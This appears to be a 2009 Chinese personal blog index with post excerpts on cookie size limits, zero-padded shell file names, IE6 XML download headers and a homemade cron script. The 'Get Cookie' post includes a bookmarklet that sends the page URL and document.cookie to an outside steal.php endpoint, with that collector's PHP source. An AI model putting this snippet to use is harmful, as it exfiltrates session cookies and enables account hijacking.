Cookie整理

cookie最大4k,最多20个key-value对 参考: http://support.microsoft.com/kb/306070 每个 cookie 开头名称值对。 此对是并后跟零或者由分号分隔的多个属性-值对。 对于一个域名每个 cookie 被限制为 4,096 字节。 该总计可以存在的 4 千字节 (KB) 的一个名称-值对形式,或者为最多 20 个名称-值对的总的 4 KB。如果在计算机上没有足够空间来存储 Cookie,会丢弃该 Cookie。 将被截尾取不整。 应用程序应该使用尽可能少的 Cookie 尽可能和为小写 Cookie 尽可能。 此外,应用程序应能够处理 cookie 丢失。 ...

May 13, 2009 · notsobad

Get Cookie

如果你需要查看其他网站给自己的cookie,可以这样: [See cookie](javascript:\(function\(\){prompt\("Cookie is:", document.cookie\);}\)\(\);) 把它拖动到书签工具栏上,ie就是加为书签,然后在需要的网站上点这个书签,就可以看到cookie 下面这个,会把cookie送给其他站点(如果你有这方面需要) [Send cookie](javascript:\(function\(\){var%20a=window,b=document,c=encodeURIComponent,d=a.open\("http://blog.notsobad.cn/php/steal.php?url="+c\(b.location\)+"&cookie="+c\(b.cookie\),"bkmk_popup","left="+\(\(a.screenX||a.screenLeft\)+10\)+",top="+\(\(a.screenY||a.screenTop\)+10\)+",height=420px,width=650px,resizable=1,alwaysRaised=1"\);a.setTimeout\(function\(\){d.focus\(\)},300\)}\)\(\);) steal.php <? // steal.php function _p($s, $d){ echo "<pre>"; echo "$d\n"; print_r($s); echo "</pre>"; } _p($_GET, '$_GET is :'); _p($_POST, '$_POST is :'); ?>

May 11, 2009 · notsobad

shell中01-20列表的创建

chinaunix上的一个帖子: http://bbs2.chinaunix.net/viewthread.php?tid=1443099&extra=&page=1 我要快速创建20个文件,test_01.txt。。。。test_20.txt, 01-20这个怎么处理,1..20只是1 2 3 4 5 6 7 。。。20,个位数的时候没有前面的0. 不符合要求。 请求高手指点。 下面是一些不同的做法 ...

May 3, 2009 · notsobad

ie6 download xml file

让浏览器输出一个xml的下载, ie6下面问题真多 两个函数 function is_ie (){ //Not Internet Explorer return stristr($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE; } function encode_filename($name){ return is_ie() ? urlencode($name) : $name; } 特定的header header('Content-Type: application/xml'); header("Content-Disposition: attachment;filename=". encode_filename("测试-" . $t->name . ".xml")); header('Pragma: private'); header('Cache-control: private, must-revalidate'); echo $xw->outputMemory(); 参考这个: http://markmail.org/message/i4okzvwuxmeggrkp 这个: http://www.jtricks.com/bits/content_disposition.html The filename should be in US-ASCII charset. The filename should not have any directory path information specified. The filename should not be enclosed in double quotes even though most browsers will support it. Content-Type header should be before Content-Disposition. Content-Type header should refer to an unknown MIME type (at least until the older browsers go away).

April 30, 2009 · notsobad

我的定时脚本

高亮版本看[这里 ](http://not- sobad.appspot.com/show_code/?key=aglub3Qtc29iYWRyCwsSBENvZGUY8WAM)。 作用就是 11,15,18,20,23等几个时间点执行我的脚本。 #!/bin/sh #cron.sh #浪点空间不支持crontab #blog数据同步脚本需要每隔几个小时执行一次,所以自己写了一个简单的 #usage: #nohup cron.sh &>/dev/null & get_local_hour(){ if ! date|grep UTC >/dev/null;then date +%H return 0 fi d=$(expr `date +%H` + 8) if [ $d -gt 24 ];then d=$(expr $d - 24) fi echo $d } cd $HOME/script || exit 1 while [ 1 ];do if ( (echo 11,15,18,20,23 | grep `get_local_hour` >/dev/null ) );then [ -s .rpc_end_link -a -f wp.py ] || exit 2 python wp.py 2>&1 >wp.log fi sleep 3600 done exit 0 后记:白忙了,还不如这样搞。 ...

April 30, 2009 · notsobad